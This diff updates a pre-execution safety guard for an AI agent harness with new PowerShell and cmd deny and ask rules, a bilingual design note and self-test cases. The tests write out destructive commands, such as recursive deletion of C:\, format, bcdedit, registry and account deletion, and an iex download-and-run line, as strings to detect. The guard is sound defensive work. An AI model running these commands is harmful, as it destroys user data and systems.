+ **What is deliberately not denied.** `Remove-Item -Recurse .\build` (project-local cleanup), `Clear-Content <file>` and
609
+ `Clear-RecycleBin` (ask, not deny), `Format-Table` (not `format`), and prose that merely mentions a cmdlet
610
+ (`Get-Help Clear-Content`). The F group of `tools/selftest-rules.mjs` pins that with ten negative cases, so widening a rule
611
+ later cannot quietly start denying routine work. `format` only fires when a drive letter is given: a bare `format` opens an
612
+ interactive prompt and destroys nothing until a human answers it.
613
+
614
+ **The honest limit.** Dynamic composition defeats any pattern: `Remove-Item -Recurse ("C" + ":\")` is not matched by the
615
+ deny rule, and `iex (New-Object Net.WebClient).DownloadString(…)` is only an `ask`. That is the boundary D1 already draws —
616
+ an accident net, not a security boundary. The ask rules exist so a composed command is seen by a human at the moment it
617
+ would run, rather than passing silently.
618
+
@@ -536,3 +536,21 @@ notice 是持久的、带来源标注的、模型可见的;而自己造一个 UI
536
536
 
537
537
  **诚实的上限:** 这里说不出 `1.14.0` 判定得更好还是更差 —— 只能说:不重新标定就跟进,无法被论证;而上面两条理由
538
538
  互不依赖。如果上游转正的是一个标定更好的文本模型,那是另一个决定,走同样的流程:重新拟合、重跑语料、再抬版本号。
539
+
540
+ ---
541
+
542
+ ## D19 · **真正在执行的**那个执行器的破坏性操作面,属于 L0(2026-10-17)
543
+
544
+ **决定:** L0 规则用**这台机器上真正执行**的那个 shell 的语法来写,而不是项目出生时的那个。2026-10-17 本 profile 的执行器从 bash 翻成 pwsh —— Git Bash 的 MSYS2 运行时在沙盒的 `WRITE_RESTRICTED` 令牌下起不来,所以这里真正跑命令的是 `pwsh`(四处配置改动就是 `cordis.patch.yml` 里的那几处)。0.5.6 把 PowerShell 的破坏性操作面移进了离线规则:递归删除盘符根 / Windows 目录 / 用户目录根,以及 `format`、`bcdedit`、`Disable-ComputerRestore` 进 `deny`;`iex` / `-EncodedCommand` / 注册表删除 / `net user … /delete` / 盘符根上的 `takeown`+`icacls` / `Clear-RecycleBin` 进 `ask`。
545
+
546
+ **为什么是 L0,而不是"模型会抓到":**
547
+
548
+ 1. **L0 是超时之后还在的那层地板。** 语义层只有 1800ms,超时即 fail-open;降级窗口里它更是整个退场。翻执行器当天在这个工作区量到的:8 条判定是 `source: error`,每一条都是超时 —— 那些命令跑的时候,背后没有任何模型判定。一条落进这 8 条里的 `Remove-Item -Recurse C:\`,没有别的东西会拦它。
549
+ 2. **它免费,而且失败是响的。** L0 离线、同进程、在任何请求之前跑;误报看得见、也有出口(令牌 / 宿主审批弹窗),而语义层漏判在结构上就是静默的。
550
+ 3. **给一个已经不跑的 shell 写规则,等于文档说谎。** README 说阀门覆盖破坏性 shell 命令;在这台机器上 bash 根本不会执行,那么一份只写 bash 的 L0,覆盖的就是错的语法。
551
+
552
+ **为什么旧的盘符根规则是重写而不是扩展。** 0.5.6 之前的模式 `Remove-Item[^\n]*-Recurse[^\n]*\b[A-Za-z]:\\` 从不检查**目标**:它匹配行内任意位置的第一条盘符路径,于是正常的清理 —— `Remove-Item -Recurse C:\Users\me\build` —— 会被 **deny**。改之前实测如此。这正是 D4 警告的那种摩擦的反面:一张对例行工作乱叫的事故网会被忽略,而一张被忽略的网比一张窄的网更糟。现在规则要求目标是**根**(盘符根、`C:\Windows` / `$env:SystemRoot` / `%SystemRoot%`、用户目录根 / `$env:USERPROFILE` / `$HOME` / `C:\Users\<名>` / `~`)并带 token 边界;`-Recurse` / `/s` 用 lookahead 找,所以 `-Path C:\ -Recurse`(flag 在目标之后)也覆盖。
553
+
554
+ **故意不进 deny 的:** `Remove-Item -Recurse .\build`(项目内清理)、`Clear-Content <文件>` 与 `Clear-RecycleBin`(ask,不是 deny)、`Format-Table`(不是 `format` 盘符)、以及只是**提到**某个 cmdlet 的散文(`Get-Help Clear-Content`)。`tools/selftest-rules.mjs` 的 F 组用十条反例把这些钉住,以后放宽某条规则也不会悄悄开始拒绝例行工作。`format` 只有带盘符时才命中:裸 `format` 会开一个交互提示,人不答它什么也不毁。
555
+
556
+ **诚实的上限。** 动态拼接能绕过任何模式:`Remove-Item -Recurse ("C" + ":\")` 不命中 deny 规则,`iex (New-Object Net.WebClient).DownloadString(…)` 只是 `ask`。这就是 D1 已经画下的边界 —— 一张事故网,不是安全边界。ask 规则存在的意义是:拼接出来的命令在真要跑的那一刻被人看见,而不是静默通过。
@@ -178,7 +178,7 @@ is **to add another layer** (sandbox / low-privilege user / container), not to r
178
178
  |---|---|---|---|
179
179
  | **One-shot token** | Allows **the exact text of one command** once | The valve (`~/.jev-guard/allow.txt`) | Not persistent: deleted once used, not replayable |
180
180
  | **DSH approval** | A nod for **this one call** | DSH | Only "allow once", **no permanent allow** (see [`USER-INTERVENTION.md`](./USER-INTERVENTION.md) §2.1) |
181
- | **L0 static rules** | Hard rules with no network (21 deny + 16 ask) | `lib/rules.js` | A token **cannot get past** `deny` |
181
+ | **L0 static rules** | Hard rules with no network (26 deny + 24 ask) | `lib/rules.js` | A token **cannot get past** `deny` |
182
182
 
183
183
  Two numbering systems must also be distinguished: `L0 / L1 / L2` are **judging layers** (see [`ARCHITECTURE.md`](./ARCHITECTURE.md)),
184
184
  and `allow / revise / block / escalate` are **judging results**. The former is "how it was computed", the latter is "what was computed".
@@ -170,7 +170,7 @@ DSH 这边最坏的失效形态是**插件一声不响地没挂上**:没有报
170
170
  |---|---|---|---|
171
171
  | **一次性令牌** | 放行**某一条命令原文**一次 | 阀门(`~/.jev-guard/allow.txt`) | 不持久:用掉即删,不可重放 |
172
172
  | **DSH 审批** | 对**这一次调用**点头 | DSH | 只有"允许一次",**没有永久允许**(见 [`USER-INTERVENTION.md`](./USER-INTERVENTION.md) §2.1) |
173
- | **L0 静态规则** | 不联网的硬规则(21 条 deny + 16 条 ask) | `lib/rules.js` | 令牌**过不去** `deny` |
173
+ | **L0 静态规则** | 不联网的硬规则(26 条 deny + 24 条 ask) | `lib/rules.js` | 令牌**过不去** `deny` |
174
174
 
175
175
  还要区分两个编号体系:`L0 / L1 / L2` 是**判定层**(见 [`ARCHITECTURE.md`](./ARCHITECTURE.md)),
176
176
  `allow / revise / block / escalate` 是**判定结果**。前者是"怎么算出来的",后者是"算出了什么"。
package/lib/rules.js CHANGED
@@ -51,8 +51,16 @@
51
51
 
52
52
  import { FALLBACK_LANG, getLang } from './i18n.js'
53
53
 
54
- /** `bash -c "…"`:把引号里的字符串当脚本执行 —— 那里面是一个命令位置。 */
55
- const SHELL_C = String.raw`(?:bash|sh|zsh|dash|ksh|pwsh|powershell|cmd)(?:\.exe)?\s+-[a-z]*c\s*["']`
54
+ /**
55
+ * `bash -c "…"` / `pwsh -NoProfile -Command "…"` / `cmd /c "…"`:把引号里的字符串当脚本执行 ——
56
+ * 那里面是一个命令位置。
57
+ *
58
+ * 2026-10-17:本 profile 的执行器翻成 pwsh 后补上两种常见写法 ——
59
+ * · PowerShell 的 `-Command`(不是 `-c`,原模式咬不到);
60
+ * · 参数在 `-Command` 之前的形态(`pwsh -NoProfile -Command …`);
61
+ * · cmd 的 `/c`。
62
+ */
63
+ const SHELL_C = String.raw`(?:bash|sh|zsh|dash|ksh|pwsh|powershell|cmd)(?:\.exe)?(?:\s+(?:-{1,2}[\w-]+|/[\w-]+))*?\s+(?:-[a-z]*c|-command|/[a-z]*c)\s*["']`
56
64
 
57
65
  /**
58
66
  * 包装器:`sudo mkfs`、`timeout 30 mkfs`、`xargs -0 mkfs`、`nice -n 5 mkfs`、`find … -exec mkfs`。
@@ -107,7 +115,18 @@ export const DENY_RULES = /** @type {Rule[]} */ ([
107
115
  { id: 'wsl-unregister', where: 'command', re: /wsl(\.exe)?\s+--unregister/i, why: { 'zh-CN': '注销 WSL 发行版,会删除整个发行版文件系统', en: 'unregisters a WSL distribution, deleting its entire filesystem' } },
108
116
  { id: 'kubectl-delete-ns', where: 'command', re: /kubectl\s+delete\s+(ns|namespace|pv|pvc)\b/i, why: { 'zh-CN': '删除命名空间/持久卷,会连带删除其中的数据', en: 'deletes a namespace/persistent volume, taking the data inside with it' } },
109
117
  { id: 'ps-clear-disk', where: 'command', re: /\b(Clear-Disk|Format-Volume|Initialize-Disk)\b/i, why: { 'zh-CN': 'PowerShell 磁盘级破坏操作', en: 'a PowerShell disk-level destructive operation' } },
110
- { id: 'ps-remove-item-drive-root', where: 'command', re: /Remove-Item[^\n]*-Recurse[^\n]*\b[A-Za-z]:\\\s*($|[^*])/i, why: { 'zh-CN': '递归删除整个盘符根目录', en: 'recursively deletes a whole drive root' } },
118
+ // ── Windows / PowerShell 删除类(2026-10-17,执行器翻成 pwsh 后补齐)───────────────
119
+ // 旧模式 `Remove-Item[^\n]*-Recurse[^\n]*[A-Za-z]:\\\s*($|[^*])` 会把**任何** `C:` 下的
120
+ // 递归删除都判 deny(因为 `[^*]` 连路径首字母都算),`Remove-Item -Recurse C:\Users\me\build`
121
+ // 这种正常清理也被拦。现在只认"根目标":盘符根、Windows、用户目录根。
122
+ // 另外 `-Path C:\ -Recurse` 把 flag 写在目标后面的写法,旧模式(先 -Recurse 后路径)也漏,
123
+ // 所以 flag 用 lookahead 判"同行出现过",目标再单独锚边界。
124
+ { id: 'ps-remove-item-drive-root', where: 'command', re: /\b(?:Remove-Item|ri|rm|del|erase|rd|rmdir)\b(?=[^\n]*(?:\/s\b|-Recurse))[^\n]*(?:["'][A-Za-z]:\\["']?|[A-Za-z]:\\|%SystemDrive%\\?|\$env:SystemDrive\\?)(?=\s|$|["']|[;&|)]|\*)/i, why: { 'zh-CN': '递归删除整个盘符根目录', en: 'recursively deletes a whole drive root' } },
125
+ { id: 'ps-remove-item-windows-dir', where: 'command', re: /\b(?:Remove-Item|del|erase|rd|rmdir)\b(?=[^\n]*(?:\/s\b|-Recurse))[^\n]*(?:\$env:(?:SystemRoot|Windir)\b|%SystemRoot%|%windir%|[A-Za-z]:\\Windows(?=\\|\s|["']|$))/i, why: { 'zh-CN': '递归删除 Windows 系统目录', en: 'recursively deletes the Windows system directory' } },
126
+ { id: 'ps-remove-item-user-profile', where: 'command', re: /\b(?:Remove-Item|ri|rm|del|erase|rd|rmdir)\b(?=[^\n]*(?:\/s\b|-Recurse))[^\n]*(?:\$env:USERPROFILE(?![\w\\])|\$HOME(?![\w\\])|%USERPROFILE%(?!\\)|["']?[A-Za-z]:\\Users\\[^\\\s"']+\\?["']?(?=\s|$|[;&|)])|~\\?(?=\s|$|[;&|)]))/i, why: { 'zh-CN': '递归删除整个用户目录根', en: 'recursively deletes a whole user-profile root' } },
127
+ { id: 'format-drive', where: 'command', re: /\bformat(?:\.com)?\s+(?:[/-][a-z]+\s+)*["']?[A-Za-z]:["']?(?=\s|$)/i, why: { 'zh-CN': '格式化盘符(cmd 的 format)', en: 'formats a drive (cmd format)' } },
128
+ { id: 'boot-config-edit', where: 'command', re: /\bbcdedit(?:\.exe)?\b[^\n]*\/(?:set|setvalue|delete|deletevalue|create|import)\b/i, why: { 'zh-CN': '改写启动配置,写坏了机器起不来', en: 'edits the boot configuration; a bad write leaves the machine unbootable' } },
129
+ { id: 'disable-system-restore', where: 'command', re: /\bDisable-ComputerRestore\b/i, why: { 'zh-CN': '关掉系统还原,会毁掉以后的回滚能力', en: 'disables System Restore, destroying the ability to roll back later' } },
111
130
  { id: 'rm-rf-home-root', where: 'command', re: /rm\s+-[a-z]*r[a-z]*f?\s+~\/?(\s|$)/i, why: { 'zh-CN': '删除整个家目录', en: 'deletes the entire home directory' } },
112
131
  ])
113
132
 
@@ -129,6 +148,17 @@ export const ASK_RULES = /** @type {Rule[]} */ ([
129
148
  { id: 'publish-irreversible', where: 'command', re: /\b(npm|cargo|twine|poetry)\s+publish\b/i, why: { 'zh-CN': '发布到公共仓库,基本不可撤回', en: 'publishes to a public registry; effectively irreversible' } },
130
149
  { id: 'chown-recursive-root', where: 'command', re: /chown\s+-R[^\n]*\s\/(\s|$)/i, why: { 'zh-CN': '递归改根目录属主', en: 'recursively changes ownership of the root directory' } },
131
150
  { id: 'systemd-mask-critical', where: 'command', re: /systemctl\s+(mask|disable)\s+(ssh|network|networking|systemd-networkd)/i, why: { 'zh-CN': '停用关键系统服务,可能把机器锁在外面', en: 'disables a critical system service; can lock you out of the machine' } },
151
+ // ── PowerShell / Windows 语义层的显式确认项(2026-10-17)─────────────────────────
152
+ // 这些不一定是"永不允许"(有正当用途),但被动态生成 / 隐蔽执行 / 删账号注册表时,
153
+ // 语义层在 1800ms 超时下会 fail-open —— 所以放进 L0 让人看一眼。
154
+ { id: 'ps-invoke-expression', where: 'command', re: /\b(?:Invoke-Expression|iex)\b/i, why: { 'zh-CN': '执行动态生成的代码(iex),调用方看不到真正要跑什么', en: 'executes dynamically generated code (iex); the real payload is invisible to the reader' } },
155
+ { id: 'ps-encoded-command', where: 'command', re: /\b(?:pwsh|powershell)(?:\.exe)?\b[^\n]*\s-(?:e|ec|enc|encodedcommand)\b/i, why: { 'zh-CN': '用 -EncodedCommand 执行 Base64 代码,内容不可读', en: 'runs Base64 code via -EncodedCommand; the content is unreadable' } },
156
+ { id: 'ps-clear-content', where: 'command', re: /\bClear-Content\b/i, why: { 'zh-CN': '清空文件内容(保留文件本身)', en: 'empties file contents (the files themselves stay)' } },
157
+ { id: 'ps-registry-delete', where: 'command', re: /\breg(?:\.exe)?\s+delete\b/i, why: { 'zh-CN': '删除注册表项', en: 'deletes registry keys' } },
158
+ { id: 'ps-remove-item-registry', where: 'command', re: /Remove-Item[^\n]*(?:HKLM:|HKCU:|HKCR:|HKU:|HKEY_LOCAL_MACHINE|HKEY_CURRENT_USER|HKEY_CLASSES_ROOT)/i, why: { 'zh-CN': '通过 Remove-Item 删除注册表项', en: 'deletes registry keys through Remove-Item' } },
159
+ { id: 'net-account-delete', where: 'command', re: /\bnet(?:\.exe)?\s+(?:user|localgroup)\b[^\n]*\/delete\b/i, why: { 'zh-CN': '删除本地账号/组,可能把人锁在系统外', en: 'deletes a local account/group; can lock a person out of the machine' } },
160
+ { id: 'ps-takeown-icacls-root', where: 'command', re: /\btakeown(?:\.exe)?\b[^\n]*\/[fs]\s+["']?[A-Za-z]:\\["']?(?=\s|\/|$)|\bicacls\b[^\n]*["']?[A-Za-z]:\\["']?\s*\/reset\b/i, why: { 'zh-CN': '夺取/重置盘符根的 ACL,会把权限结构整个翻掉', en: 'takes ownership of / resets ACLs on a drive root, flipping the whole permission structure' } },
161
+ { id: 'clear-recyclebin', where: 'command', re: /\bClear-RecycleBin\b/i, why: { 'zh-CN': '清空回收站,删掉最后的恢复副本', en: 'empties the Recycle Bin, removing the last recoverable copy' } },
132
162
  ])
133
163
 
134
164
  /**
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "dsh-jev-guard",
3
- "version": "0.5.5",
3
+ "version": "0.5.6",
4
4
  "description": "Pre-execution safety valve for DeepSeek Harness: a TypeSafe Jev question decides whether a shell command/script would irreversibly delete or overwrite real data. Four states (allow/revise/block/escalate), mounted on tools/pre-execute. Zero dependencies; WSL/Linux (bash) and Windows (pwsh); one-shot tokens, credit-exhaustion degradation, shared audit log; bilingual (zh-CN / en) messages.",
5
5
  "keywords": [
6
6
  "deepseek-harness",
@@ -76,6 +76,45 @@ const CASES = [
76
76
  // ── C 组:包装器吞参数只认 ASCII 词/flag/路径,中文散文不该被顺带命中 ─────────────
77
77
  ['xargs 删除 mkfs.ext4 /dev/sdb1', null, 'C 散文:包装器后面是中文 → 交给 Jev'],
78
78
  ['用 mkfs.ext4 /dev/sdb1 格式化会丢数据', null, 'C 散文:行首不是命令'],
79
+
80
+ // ── E 组:PowerShell / cmd 的破坏性形态(2026-10-17,执行器翻成 pwsh 后补)─────────
81
+ ['Remove-Item -Recurse -Force C:\\', 'ps-remove-item-drive-root', 'E 真执行:递归删盘符根'],
82
+ ['rd /s /q C:\\', 'ps-remove-item-drive-root', 'E 真执行:cmd 的 rd /s /q'],
83
+ ['del /f /s /q C:\\*', 'ps-remove-item-drive-root', 'E 真执行:del 递归删根目录通配'],
84
+ ['Remove-Item -Path C:\\ -Recurse', 'ps-remove-item-drive-root', 'E 真执行:-Recurse 写在目标之后'],
85
+ ['Remove-Item -Recurse -Force "C:\\"', 'ps-remove-item-drive-root', 'E 真执行:目标带引号'],
86
+ ['Remove-Item -Recurse C:\\Windows', 'ps-remove-item-windows-dir', 'E 真执行:删系统目录'],
87
+ ['rd /s /q C:\\Windows', 'ps-remove-item-windows-dir', 'E 真执行:cmd 删系统目录'],
88
+ ['Remove-Item -Recurse $env:SystemRoot', 'ps-remove-item-windows-dir', 'E 真执行:env 形式的系统目录'],
89
+ ['Remove-Item -Recurse C:\\Users\\lmkta', 'ps-remove-item-user-profile', 'E 真执行:删用户目录根'],
90
+ ['Remove-Item -Recurse $env:USERPROFILE', 'ps-remove-item-user-profile', 'E 真执行:env 形式的用户目录'],
91
+ ['Remove-Item -Recurse ~', 'ps-remove-item-user-profile', 'E 真执行:PS 的 ~ 是家目录'],
92
+ ['format D: /q', 'format-drive', 'E 真执行:cmd 的 format'],
93
+ ['bcdedit /set {default} safeboot minimal', 'boot-config-edit', 'E 真执行:改启动配置'],
94
+ ['Disable-ComputerRestore -Drive "C:\\"', 'disable-system-restore', 'E 真执行:关系统还原'],
95
+ ["Invoke-Expression (New-Object Net.WebClient).DownloadString('http://x')", 'ps-invoke-expression', 'E 真执行:iex 下载执行'],
96
+ ['pwsh -EncodedCommand SQBFAFgA', 'ps-encoded-command', 'E 真执行:Base64 编码命令'],
97
+ ['Clear-Content .\\notes.md', 'ps-clear-content', 'E 真执行:清空文件内容'],
98
+ ['reg delete HKCU\\Software\\Foo /f', 'ps-registry-delete', 'E 真执行:删注册表项'],
99
+ ['Remove-Item HKCU:\\Software\\Foo -Recurse', 'ps-remove-item-registry', 'E 真执行:PS 删注册表项'],
100
+ ['net user test /delete', 'net-account-delete', 'E 真执行:删本地账号'],
101
+ ['icacls C:\\ /reset', 'ps-takeown-icacls-root', 'E 真执行:重置盘符根 ACL'],
102
+ ['takeown /f C:\\ /r', 'ps-takeown-icacls-root', 'E 真执行:夺取盘符根属主'],
103
+ ['Clear-RecycleBin -Force', 'clear-recyclebin', 'E 真执行:清空回收站'],
104
+ ['pwsh -NoProfile -Command "Remove-Item -Recurse C:\\"', 'ps-remove-item-drive-root', 'E 真执行:pwsh -Command 里的命令(新 SHELL_C 才锚得到)'],
105
+ ['cmd /c "rd /s /q C:\\"', 'ps-remove-item-drive-root', 'E 真执行:cmd /c 里的命令'],
106
+
107
+ // ── F 组:PowerShell 普通操作不该被误伤(与旧的错误模式对照)────────────────────
108
+ ['Remove-Item -Recurse -Force .\\build', null, 'F 普通:相对目录的递归清理'],
109
+ ['Remove-Item -Recurse C:\\Users\\lmkta\\build\\dist', null, 'F 普通:C: 下的子目录(旧模式会 deny)'],
110
+ ['Remove-Item -Recurse C:\\Windows.old', null, 'F 普通:Windows.old 是常规清理'],
111
+ ['echo "rd /s /q C:\\" > notes.txt', null, 'F 散文:把命令写进参数'],
112
+ ['Get-ChildItem C:\\ | Format-Table', null, 'F 普通:Format-Table 不是 format 盘符'],
113
+ ['Write-Host "iex is short for Invoke-Expression"', null, 'F 散文:说明文字里的 iex'],
114
+ ['pwsh -NoProfile -Command "Get-Date"', null, 'F 普通:无害的 pwsh -Command'],
115
+ ['net user', null, 'F 普通:查看本地账号'],
116
+ ['reg query HKLM\\Software', null, 'F 普通:查询注册表'],
117
+ ['Get-Help Clear-Content', null, 'F 普通:查帮助,不是执行'],
79
118
  ]
80
119
 
81
120
  let failed = 0